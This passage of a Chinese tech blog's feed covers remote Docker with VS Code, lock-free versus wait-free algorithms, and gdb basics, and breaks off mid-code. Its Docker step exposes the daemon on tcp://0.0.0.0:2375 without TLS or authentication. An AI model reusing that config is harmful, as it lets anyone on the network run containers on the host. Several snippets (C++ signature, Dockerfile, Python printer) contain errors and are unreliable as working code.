&lt;p&gt;创建文件 daemon.json 到目录 &#x2F;etc&#x2F;docker:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt; {&amp;quot;hosts&amp;quot;: [&amp;quot;tcp:&amp;#x2F;&amp;#x2F;0.0.0.0:2375&amp;quot;, &amp;quot;unix:&amp;#x2F;&amp;#x2F;&amp;#x2F;var&amp;#x2F;run&amp;#x2F;docker.sock&amp;quot;]}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;创建文件 &#x2F;etc&#x2F;systemd&#x2F;system&#x2F;docker.service.d&#x2F;override.conf:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt; [Service]
 ExecStart=
 ExecStart=&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;dockerd
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;重启docker：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt; systemctl daemon-reload
 systemctl restart docker.service 
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;pei-zhi-ben-di-shi-yong-yuan-cheng-docker-fu-wu&quot;&gt;配置本地使用远程 Docker 服务&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;ssh-copy-id&quot;&gt;ssh-copy-id&lt;&#x2F;h2&gt;
&lt;h2 id=&quot;chuang-jian-yi-ge-context&quot;&gt;创建一个context：&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;docker context create &amp;lt;context name&amp;gt; --docker &amp;quot;host=ssh:&amp;#x2F;&amp;#x2F;&amp;lt;user&amp;gt;@&amp;lt;host&amp;gt;[:port]&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;切换到上面这个context：
测试一下：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;docker context use &amp;lt;context name&amp;gt;
docker info
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这里会输出和在远程主机上运行 docker info 一样的结果， 实际上这里docker本地只是一个客户端，连接到远程主机上的docker服务。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;kai-shi-yi-ge-vscodexiang-mu&quot;&gt;开始一个vscode项目!&lt;&#x2F;h1&gt;
&lt;p&gt;这里有两个方式&lt;&#x2F;p&gt;
&lt;h2 id=&quot;fang-shi-yi-attach-remote-host-container&quot;&gt;方式一： Attach Remote Host Container&lt;&#x2F;h2&gt;
&lt;p&gt;远程主机上创建项目
新建一个目录，例如 ~&#x2F;newproj, 然后加一个Dockerfile，例如：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;FROM python                                                                
ENV DEBIAN_FRONTEND=noninteractive 
apt-get update                
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后创建镜像，再启动容器：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;docker build . -t &amp;lt;image tag&amp;gt;
docker run -d --name &amp;lt;container name&amp;gt; -v ~&amp;#x2F;newproj:&amp;#x2F;workspaces&amp;#x2F;newproj &amp;lt;image tag&amp;gt; tail -f &amp;#x2F;dev&amp;#x2F;null
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;注意: 这里要挂载项目目录到容器中方便保存文件。tail -f 这个命令是为了让容器保持运行。&lt;&#x2F;p&gt;
&lt;p&gt;本地 VSCode 访问远程容器
切换 Docker context
打开VSCode，按下 ctrl+shift+p 运行 docker contexts use , 选择上面创建的docker context.&lt;&#x2F;p&gt;
&lt;p&gt;连接容器
按下 ctrl+shift+p 运行 Remote-Containers:Attach to Running Container..., 选择上面创建的容器名字。&lt;&#x2F;p&gt;
&lt;p&gt;连接成功后，按下 ctrl+k, ctr+o, 你会发现VSCode弹出的不是本地目录，而是容器内部的目录！现在VSCode只是一个客户端，一切操作都在容器中了！&lt;&#x2F;p&gt;
&lt;p&gt;尝试一下。选择上面创建的 &#x2F;workspaces&#x2F;newproj，新建一个main.py，保存。再去主机上看，~&#x2F;newproj&#x2F;main.py就躺在那。&lt;&#x2F;p&gt;
&lt;p&gt;现在，可以愉快地在容器里面编码了。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;wei-ruan-guan-fang-tui-jian-de-ban-fa-bi-jiao-ma-fan-lue&quot;&gt;微软官方推荐的办法，比较麻烦?略。&lt;&#x2F;h2&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>lock free vs wait free</title>
        <published>2022-05-10T16:30:31+08:00</published>
        <updated>2022-05-10T16:30:31+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2022/05/lock-free-vs-wait-free/"/>
        <id>https://vercel.juzhong.asia/2022/05/lock-free-vs-wait-free/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2022/05/lock-free-vs-wait-free/">&lt;h1 id=&quot;lock-free-vs-wait-free&quot;&gt;lock free vs wait free&lt;&#x2F;h1&gt;
&lt;p&gt;在提到Concurrent Non-blocking算法的时候，都会遇到对无锁算法的无锁程度理解.&lt;&#x2F;p&gt;
&lt;h1 id=&quot;shen-me-shi-wait-freehe-lock-free&quot;&gt;什么是wait-free和lock-free&lt;&#x2F;h1&gt;
&lt;p&gt;所谓lock-free和wait-free算法是指对于共享的数据并非对其加锁来控制访问，而是多个线程并行的访问。通过该算法可以达到对共享对象并发的读写而不会破坏对象本身。所谓lock-free是指对于线程不加锁，让系统执行所有的步骤。lock-free提到的不加锁是指不使用类似于互斥锁或者信号量之类的排他机制。因为一旦对线程加锁的话，当线程执行中断时，那么对于这个系统来说运行也中断了。所谓wait-free是指，不管其他线程执行什么操作，线程无论有什么操作都能在有限的步骤里面完成。所以对于算法来说达到lock-free不一定能达到wait-free，但是达到wait-free的算法一定是lock-free的。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;make-progress&quot;&gt;Make Progress&lt;&#x2F;h1&gt;
&lt;p&gt;这里需要预先定义什么是Make Progress，在本文中Make Progress被定义为线程在全局进度上有进展，而如果只是在本地生效，那就不是Make Progress，比如经典的CAS，当做完一系列的操作后，执行CAS失败，进而重新读数据再尝试CAS，那么在CAS失败的时候，前边做的一系列操作就没有Make Progress，这里的根本在于当CAS判断为失败的时候，一些工作内容需要被丢弃导致做了无用功，这本质上也体现了乐观锁在高负载情况下性能变差的原因。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;cong-di-ceng-qu-kan-lock-free&quot;&gt;从底层去看lock-free&lt;&#x2F;h1&gt;
&lt;p&gt;lock-free是一个非常底层的东西，lock-free编程需要atomic指令这个指令是cpu提供的，cpu原生的指令有非常多都是atomic的，这些指令集分为2大类，分别是store-and-load 和read-modify-write&lt;&#x2F;p&gt;
&lt;p&gt;store-and-load
这些指令用于读，写数据到内存中，许多的cpu架构都保证这些操作是原子的，比如mov&lt;&#x2F;p&gt;
&lt;p&gt;read-modify-write
有一些操作需要多个指令比如要对内存中的一个数据进行+1，这至少需要三个原子操作指令，虽然说这3个原子操作是原子的，但是加一起就不是原子的了,read-modify-write就是fill the gap，在一个原子操作下去执行多个操作，比如test-and-set :将1写入到内存的地址中，然后返回旧的值，fetch-and-add:在内存中的值加上一个数字，然后返回老的值&lt;&#x2F;p&gt;
&lt;h1 id=&quot;atomiczhi-ling-de-ceng-ji&quot;&gt;atomic指令的层级&lt;&#x2F;h1&gt;
&lt;p&gt;所有的指令都属于硬件，我们通过指令直接与cpu对话，这样工作太费劲，不同的cpu架构有不同的指令集，所以在此之上非常多的操作系统提供了他们的原子操作，我们就直接叫这些东西叫做atomic operations，但是我们如果用操作系统提供的原子操作就不能跨平台，因为linux的原子操作是一个样子的，windows的原子操作是一个样子的，c++的原子操作是一个样子的，最好的方法还是用编程语言提供的跨平台的原子操作&lt;&#x2F;p&gt;
&lt;h2 id=&quot;atomiccao-zuo&quot;&gt;atomic操作&lt;&#x2F;h2&gt;
&lt;p&gt;假设我们要对一个数字进行++并且打印传统的操作是用mutex&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;std::mutex mu;
x = 0;

reader_thread(){
	mu.lock();
	print(x);
	mu.unlock();
}

writer_thread(){
	mutex.lock();
	x++
	mutex.unlock();
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;以上是传统做法，而原子操作则不一样，原子操作中所有的线程执行都是无lock的如下假设load()和fetch_and_add()都是对应底层硬件的原子操作指令&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;x = 0
reader_thread(){
	print(load(x))
}

writer_thread(){
	fetch_and_add(x, 1)
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在现实的lock-free编程中我们主要用到CAS loop来进行lock-free编程&lt;strong&gt;CAS全称(compare-and-swap loop)&lt;&#x2F;strong&gt; 这个函数一般原型如下&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;bool compare_and_swap(shared_data, expected_value, new_value);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这个函数的意思是对shared_data的值expected_value替换成new_value，当expected_value没有改变就返回false(因为shared_data的值可能不是expected_value，而被其他的线程改了)，如下&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;x = 0

reader_thread(){
	print(load(x))
}

writer_thread(){
	temp = load(x);
	while(!compare_and_swap(x, temp, temp+1)){  &amp;#x2F;&amp;#x2F;temp没有改变就返回false，改变了就返回true
		&amp;#x2F;&amp;#x2F;retry?
	}
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;上面也叫自旋锁&lt;&#x2F;p&gt;
&lt;h2 id=&quot;abawen-ti&quot;&gt;ABA问题&lt;&#x2F;h2&gt;
&lt;p&gt;CAS实现的过程是先取出内存中某时刻的数据，在下一时刻比较并替换。&lt;&#x2F;p&gt;
&lt;p&gt;1号线程从内存位置 α 中取出值 A
2号线程也从内存位置 α 中取出值 A
2号线程进行了一些操作将 α 位置的数据从 A 变成了 B
2号线程又进行了一些操作将 α 位置的数据变成A
这时候1号线程进行 CAS 操作发现内存中仍然是A，然后操作成功。
尽管1号线程的CAS操作成功，但是不代表这个过程就是没有问题的。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;wo-men-lai-kan-ge-ju-ti-li-zi&quot;&gt;我们来看个具体例子：&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;现有一个用单向链表实现的堆栈，栈顶为A，这时线程T1已经知道A.next为B：
head→A→B
后希望用CAS将栈顶替换为B&lt;&#x2F;p&gt;
&lt;p&gt;head.compareAndSet(A,B);
在T1执行上面这条指令之前，线程T2介入，将A、B出栈，再pushD、C、A，此时堆栈结构如下，而对象B此时处于游离状态：
head→A→C→D
B
此时轮到线程T1执行CAS操作，检测发现栈顶仍为A，所以CAS成功，栈顶变为B，但实际上B.next为null，所以此时的情况变为：
head→B
A→C→D
其中堆栈中只有B一个元素，C和D组成的链表不再存在于堆栈中，平白无故就把C、D丢掉了。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;以上就是由于ABA问题带来的隐患，各种乐观锁的实现中通常都会用版本戳version来对记录或对象标记，避免并发操作带来的问题&lt;&#x2F;p&gt;
&lt;h1 id=&quot;wait-free&quot;&gt;wait-free&lt;&#x2F;h1&gt;
&lt;p&gt;所有的原子操作可以分为2大类，分别是lock-free和wait-free&lt;&#x2F;p&gt;
&lt;p&gt;lock-free可以允许线程继续做他自己的事情(在快被阻塞之前)
wait-free是lock-free的子集，所有线程都可以在有限的步骤中完成其工作，而不管其他的线程执行速度或者负载水平如何，上面的 fetch-and-add() 就是一个wait-free的示例，没有loop，没有重试&lt;&#x2F;p&gt;
&lt;h1 id=&quot;qi-ta&quot;&gt;其他&lt;&#x2F;h1&gt;
&lt;p&gt;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;342921323&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>gdb基础</title>
        <published>2022-04-08T20:08:29+08:00</published>
        <updated>2022-04-08T20:08:29+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2022/04/gdb基础/"/>
        <id>https://vercel.juzhong.asia/2022/04/gdb基础/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2022/04/gdb基础/">&lt;h1 id=&quot;gdbji-chu&quot;&gt;gdb基础&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;debugshi-sha&quot;&gt;Debug是啥?&lt;&#x2F;h1&gt;
&lt;p&gt;Debug 通常称为调试版本,它包含调试信息,并且不作任何优化,便于程序员调试程序
Release 称为发布版本,它往往是进行了各种优化,使得程序在代码大小和运行速度上都是最优的,以便用户很好地使用&lt;&#x2F;p&gt;
&lt;p&gt;本地运行没问题,更换服务器就跑不起来
这个问题就是Debug版本带了一些调试信息,这可能会调用一些dll文件动态加载,其他主机可能缺少,运行报错...
解决办法就是生成Release版本.&lt;&#x2F;p&gt;
&lt;h1 id=&quot;dui-bi-debug-release&quot;&gt;对比debug release&lt;&#x2F;h1&gt;
&lt;p&gt;测试代码 test.cpp&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;iostream&amp;gt;
#include &amp;lt;string&amp;gt;
using namespace std;

void func(const string srcstring&amp;amp; des) {
  des = src;
}
int main() {
  string s = &amp;quot;hellow world&amp;quot;;
  string ss;
  cout &amp;lt;&amp;lt; &amp;quot;hello world&amp;quot; &amp;lt;&amp;lt; endl;
  func(sss);
  return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;编译测试代码大小&#x2F;符号&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;gcc -g -o test-debug      test.c
gcc -o    test-debug-temp test.c
objcopy --strip-debug test-debug-temp test-release
strip test-release

readelf -s test-debug
readelf -s test-debug-temp
readelf -s test-release
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;diao-shi-releaseban-ben-dai-ma&quot;&gt;调试release版本代码&lt;&#x2F;h1&gt;
&lt;p&gt;由于release没有符号信息,在输出的时候只打印了地址,无法直观的看到函数调用位置
Debug模式下可以使用断言,但是在Release模式下断言无效,当条件不满足的时候继续往下执行.
在经过优化后,编译器可能会直接从寄存器中取值,而不从内存中进行取值.
在嵌入式系统中存储容量有限,调试版本可能无法保存到存储器中进行运行
使用版本控制工具进行管理代码,每次发布一个版本在出问题之后都可以及时通过源码分析问题.
由于在Release版本中不包含调试信息,调试起来难度比较大,我们可以使用发行版本的源码生成一个携带调试信息的版本来进行调试.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;di-yi-chong-fang-shi-shi-cong-diao-shi-ban-ben-ruan-jian-zhong-ti-qu-fu-hao-biao-li-yong-binutilsgong-ju-huo-qu-fu-hao-biao&quot;&gt;第一种方式是从调试版本软件中提取符号表,利用Binutils工具获取符号表:&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;objcopy --only-keep-debug debug.exe debug.symbol
gdb --symbol=debug.symbol -exec=release
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;加载成功之后就可以像debug版本一样设置断点和查看局部变量信息.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;di-er-chong-fang-shi-shi-zhi-jie-zhi-ding-cong-diao-shi-ban-ben-zhong-huo-qu-fu-hao&quot;&gt;第二种方式是直接指定从调试版本中获取符号:&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;gdb --symbol=debug.exe -exec=release&lt;&#x2F;code&gt;
如果不是很确定是否包含调试信息readelf -S debug.exe|grep debug&lt;&#x2F;p&gt;
&lt;h1 id=&quot;duan-dian-she-zhi&quot;&gt;断点设置&lt;&#x2F;h1&gt;
&lt;p&gt;gdb断点分类:
以设置断点的命令分类:
breakpoint
可以根据行号,函数,条件生成断点.
watchpoint
监测变量或者表达式的值发生变化时产生断点.
catchpoint
监测信号的产生.例如c++的throw,或者加载库的时候.
gdb中的变量从1开始标号,不同的断点采用变量标号同一管理,可以 用enable,disable等命令管理,同时支持断点范围的操作,比如有些命令接受断点范围作为参数.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;breakji-breakbian-chong-xiang-jie&quot;&gt;break及break变种详解:&lt;&#x2F;h2&gt;
&lt;p&gt;相关命令有break,tbreak,rbreak,hbreak,thbreak,后两种是基于硬件的,先不介绍.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;break-yu-tbeak&quot;&gt;break 与 tbeak&lt;&#x2F;h3&gt;
&lt;p&gt;break,tbreak可以根据行号,函数,条件生成断点.tbreak设置方法与break相同,只不过tbreak只在断点停一次,过后会自动将断点删除,break需要手动控制断点的删除和使能.&lt;&#x2F;p&gt;
&lt;p&gt;break 可带如下参数:
linenum 本地行号,即list命令可见的行号
filename:linenum 制定个文件的行号
function 函数,可以是自定义函数也可是库函数,如open
filename:function 制定文件中的函数
condtion 条件
*address 地址,可是函数,变量的地址,此地址可以通过info add命令得到.&lt;&#x2F;p&gt;
&lt;p&gt;例如:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;break 10
break test.c:10
break main
break test.c:main
break system
break open

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果想在指定的地址设置断点,比如在main函数的地址出设断点.
可用info add main 获得main的地址如0x80484624,然后用break *0x80484624.
条件断点就是在如上述指定断点的同时指定进入断点的条件.
例如:(假如有int 类型变量 index)&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;break 10 if index == 3
tbreak 12 if index == 5
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;rbreak&quot;&gt;rbreak&lt;&#x2F;h3&gt;
&lt;p&gt;rbreak 可以跟一个规则表达式.rbreak + 表达式的用法与grep + 表达式相似.即在所有与表达式匹配的函数入口都设置断点.
rbreak list_* 即在所有以 list_ 为开头字符的函数地方都设置断点.
rbreak ^list_ 功能与上同.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;cha-kan-duan-dian-xin-xi&quot;&gt;查看断点信息&lt;&#x2F;h3&gt;
&lt;p&gt;info break [break num ]
info break 可列出所有断点信息,info break 后也可设置要查看的break num如:
info break 1 列出断点号是1的断点信息&lt;&#x2F;p&gt;
&lt;h3 id=&quot;yong-gdbzen-me-zai-tong-ming-wen-jian-zhong-de-tong-ming-han-shu-she-zhi-duan-dian&quot;&gt;用gdb怎么在同名文件中的同名函数设置断点?&lt;&#x2F;h3&gt;
&lt;p&gt;问题是这样的,程序加载了几个动态库,每个动态库提供同样的调用接口,想在某一个动态库的一个接口函数中设置断点.
比如b fun(),gdb只会在它找到的第一个动态库的fun()设置断点,请问有什么办法能指定动态库设置断点.每个动态库的接口函数所在的文件名都是一样的,函数名也相同.
也许可以这样解决:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;b absolute&amp;#x2F;path&amp;#x2F;to&amp;#x2F;yourfile: linenumber
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;gdb还可以在函数地址哪里下断点, 如果有函数地址
&lt;code&gt;break *address&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;da-yin-biao-da-shi&quot;&gt;打印表达式&lt;&#x2F;h1&gt;
&lt;p&gt;print 表达式:简记为 p ,其中&quot;表达式&quot;可以是任何当前正在被测试程序的有效表达式,比如当前正在调试C语言的程序,那么&quot;表达式&quot;可以是任何C语言的有效表达式,包括数字,变量甚至是函数调用.
print a:将显示整数 a 的值.除了这种方式外,还有一些特殊场景.
如果一个变量在多个文件或函数中有定义,使用p &#x27;testGdb.h&#x27;::a的方式打印testGdb.h文件中的变量;使用p &#x27;main&#x27;::b的方式打印main函数中的变量.&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;使用p *ptr来打印指针指向的内容.如果是个数组,那么可以通过@指定打印的长度,比如p *ptr@a可以打印a长度的数据,或者只跟@,那么会把所有的内容都打出来.&lt;&#x2F;li&gt;
&lt;li&gt;使用$打印上一个变量,假如有一个链表,有next成员变量,那么使用p *linkNode之后,可以使用p *$.next不间断的打印链表的下一个节点的信息.&lt;&#x2F;li&gt;
&lt;li&gt;如果打印一个数组的成员,可以通过这种方式连续的打印.set $index=0,p b[$index + 1],使用类似环境变量的方式定义一个变量,然后累加打印,不用自己再手动修改下标打印了.&lt;&#x2F;li&gt;
&lt;li&gt;除了使用默认的格式打印外,还可以指定格式打印,可以指定的格式有很多,比如:
p&#x2F;x 按十六进制格式显示变量.
p&#x2F;d 按十进制格式显示变量.
p&#x2F;u 按十进制格式显示无符号整型.
p&#x2F;o 按八进制格式显示变量.
p&#x2F;t 按二进制格式显示变量.
p&#x2F;a 按十六进制格式显示变量.
p&#x2F;c 按字符格式显示变量.
p&#x2F;f 按浮点数格式显示变量.&lt;&#x2F;li&gt;
&lt;li&gt;print ++a:将把 a 中的值加1,并显示出来&lt;&#x2F;li&gt;
&lt;li&gt;print name:将显示字符串 name 的值&lt;&#x2F;li&gt;
&lt;li&gt;print gdb_test(22):将以整数22作为参数调用 gdb_test() 函数&lt;&#x2F;li&gt;
&lt;li&gt;print gdb_test(a):将以变量 a 作为参数调用 gdb_test() 函数&lt;&#x2F;li&gt;
&lt;li&gt;examine(简写x):可以查看内存地址中的值,用法为x&#x2F;[n][f][u] addr,详细介绍如下.一个例子是x&#x2F;4tb &amp;amp;e,打印4个字节,以二进制的形式打印.
n,表示要显示的内存单元数,默认值为1.
f,表示要打印的格式,见print的控制格式.
u,要打印的单元长度,常见的长度有b 字节,h 两个字节,w 四个字节,g 八字节.
addr,要打印的地址.&lt;&#x2F;li&gt;
&lt;li&gt;display 表达式:在单步运行时将非常有用,使用display命令设置一个表达式后,它将在每次单步进行指令后,紧接着输出被设置的表达式及值.如: display a&lt;&#x2F;li&gt;
&lt;li&gt;watch 表达式:设置一个监视点,一旦被监视的&quot;表达式&quot;的值改变,gdb将强行终止正在被调试的程序.如: watch a&lt;&#x2F;li&gt;
&lt;li&gt;whatis :查询变量或函数&lt;&#x2F;li&gt;
&lt;li&gt;info function: 查询函数扩展&lt;&#x2F;li&gt;
&lt;li&gt;info locals: 显示当前堆栈页的所有变量&lt;&#x2F;li&gt;
&lt;li&gt;info registers:打印寄存器信息&lt;&#x2F;li&gt;
&lt;li&gt;info frame:打印栈帧中存储的信息&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;pretty-printerda-yin-zi-ji-de-shu-ju-jie-gou&quot;&gt;pretty printer打印自己的数据结构&lt;&#x2F;h2&gt;
&lt;p&gt;比如你有一个结构体很多数据成员&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;struct MyStruct {
  std::name mName;
  std::map mField1;
  std::set mField2;
  int mI;
  int mj;
};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;但是你大部分时候打印都是只看字段mName和mI,那么就可以定义一个针对这个数据结构的pretty printer,
这样大部分时候你就只看到需要的字段.而不用在几十个字段找你所关心.
如果不使用任何的pretty printer,打印一个MyStruct的数据结构会得到&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$2 = {mName = {static npos = &amp;lt;optimized out&amp;gt;,
    _M_dataplus = {&amp;lt;std::allocator&amp;lt;char&amp;gt;&amp;gt; = {&amp;lt;__gnu_cxx::new_allocator&amp;lt;char&amp;gt;&amp;gt; = {&amp;lt;No data fields&amp;gt;}, &amp;lt;No data fields&amp;gt;},
      _M_p = 0x618c38 &amp;quot;student&amp;quot;}}, mField1 = {_M_t = {
      _M_impl = {&amp;lt;std::allocator&amp;lt;std::_Rb_tree_node&amp;lt;std::pair&amp;lt;int const, std::basic_string&amp;lt;char, std::char_traits&amp;lt;char&amp;gt;, std::allocator&amp;lt;char&amp;gt; &amp;gt; &amp;gt; &amp;gt; &amp;gt;&amp;gt; = {&amp;lt;__gnu_cxx::new_allocator&amp;lt;std::_Rb_tree_node&amp;lt;std::pair&amp;lt;int const, std::basic_string&amp;lt;char, std::char_traits&amp;lt;char&amp;gt;, std::allocator&amp;lt;char&amp;gt; &amp;gt; &amp;gt; &amp;gt; &amp;gt;&amp;gt; = {&amp;lt;No data fields&amp;gt;}, &amp;lt;No data fields&amp;gt;}, &amp;lt;std::_Rb_tree_key_compare&amp;lt;std::less&amp;lt;int&amp;gt; &amp;gt;&amp;gt; = {
          _M_key_compare = {&amp;lt;std::binary_function&amp;lt;int, int, bool&amp;gt;&amp;gt; = {&amp;lt;No data fields&amp;gt;}, &amp;lt;No data fields&amp;gt;}}, &amp;lt;std::_Rb_tree_header&amp;gt; = {
          _M_header = {_M_color = std::_S_red, _M_parent = 0x0, _M_left = 0x7fffffffe4e0, _M_right = 0x7fffffffe4e0},
          _M_node_count = 0}, &amp;lt;No data fields&amp;gt;}}}, mField2 = {_M_t = {
      _M_impl = {&amp;lt;std::allocator&amp;lt;std::_Rb_tree_node&amp;lt;std::basic_string&amp;lt;char, std::char_traits&amp;lt;char&amp;gt;, std::allocator&amp;lt;char&amp;gt; &amp;gt; &amp;gt; &amp;gt;&amp;gt; = {&amp;lt;__gnu_cxx::new_allocator&amp;lt;std::_Rb_tree_node&amp;lt;std::basic_string&amp;lt;char, std::char_traits&amp;lt;char&amp;gt;, std::allocator&amp;lt;char&amp;gt; &amp;gt; &amp;gt; &amp;gt;&amp;gt; = {&amp;lt;No data fields&amp;gt;}, &amp;lt;No data fields&amp;gt;}, &amp;lt;std::_Rb_tree_key_compare&amp;lt;std::less&amp;lt;std::basic_string&amp;lt;char, std::char_traits&amp;lt;char&amp;gt;, std::allocator&amp;lt;char&amp;gt; &amp;gt; &amp;gt; &amp;gt;&amp;gt; = {
          _M_key_compare = {&amp;lt;std::binary_function&amp;lt;std::basic_string&amp;lt;char, std::char_traits&amp;lt;char&amp;gt;, std::allocator&amp;lt;char&amp;gt; &amp;gt;, std::basic_string&amp;lt;char, std::char_traits&amp;lt;char&amp;gt;, std::allocator&amp;lt;char&amp;gt; &amp;gt;, bool&amp;gt;&amp;gt; = {&amp;lt;No data fields&amp;gt;}, &amp;lt;No data fields&amp;gt;}}, &amp;lt;std::_Rb_tree_header&amp;gt; = {_M_header = {
            _M_color = std::_S_red, _M_parent = 0x0, _M_left = 0x7fffffffe510, _M_right = 0x7fffffffe510},
          _M_node_count = 0}, &amp;lt;No data fields&amp;gt;}}}, mI = 3, mj = 4}

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;看起来会头皮发麻！如果使用gdb 自带的STL pretty printer,那么我们会得到如下简洁的结果，&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;(gdb) p s
$1 = {mName = &amp;quot;student&amp;quot;, mField1 = std::map with 0 elements, mField2 = std::set with 0 elements, mI = 3, mj = 4}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果自己编写pretty printer，那么就会得到如下的结果，&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;(gdb) p s
$2 = MyStruct
 name: &amp;quot;student&amp;quot;  integer: 3
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这样子，只会打印自己关心的数据，如果希望看看原始的数据，那么p &#x2F;r s&lt;&#x2F;p&gt;
&lt;h3 id=&quot;zheng-ti-si-lu&quot;&gt;整体思路&lt;&#x2F;h3&gt;
&lt;p&gt;需要做的是三件事情：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;定义打印类，提供to_string()方法，这个方法返回你要打印出来的字符串。&lt;&#x2F;li&gt;
&lt;li&gt;判断一个value，是否需要使用你定义的类来打印。&lt;&#x2F;li&gt;
&lt;li&gt;注册你的判断函数到gdb pretty printing里面&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;ding-yi-da-yin-lei&quot;&gt;定义打印类&lt;&#x2F;h3&gt;
&lt;pre&gt;&lt;code&gt;class MyPrinter:
    def __init__(self, val):
        self.val = val
    def to_string(self):
         return ”name: {}  integer: {}&amp;quot;.format(self.val[&amp;#x27;mName&amp;#x27;], self.val[&amp;#x27;mI&amp;#x27;]
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;pan-duan-yi-ge-value-shi-fou-xu-yao-shi-yong-zi-ji-ding-yi-de-da-yin-lei&quot;&gt;判断一个value，是否需要使用自己定义的打印类&lt;&#x2F;h3&gt;
&lt;pre&gt;&lt;code&gt;def lookup_pretty_printer(val):
    if val.type.code == gdb.TYPE_CODE_PTR:
        return None # to add
    if &amp;#x27;MyStruct&amp;#x27; == val.type.tag:
        return MyPrinter(val)
    return None
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;zhu-ce-dao-gdb&quot;&gt;注册到gdb&lt;&#x2F;h3&gt;
&lt;pre&gt;&lt;code&gt;gdb.printing.register_pretty_printer(
    gdb.current_objfile(),
    lookup_pretty_printer, replace=True)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;jiang-xia-mian-de-cheng-xu-bian-yi-bing-ce-shi&quot;&gt;将下面的程序编译，并测试&lt;&#x2F;h3&gt;
&lt;pre&gt;&lt;code&gt;struct MyStruct {
  std::string mName;
  std::map&amp;lt;int, std::string&amp;gt; mField1;
  std::set&amp;lt;std::string&amp;gt; mField2;
  int mI;
  int mj;
};

int main() {
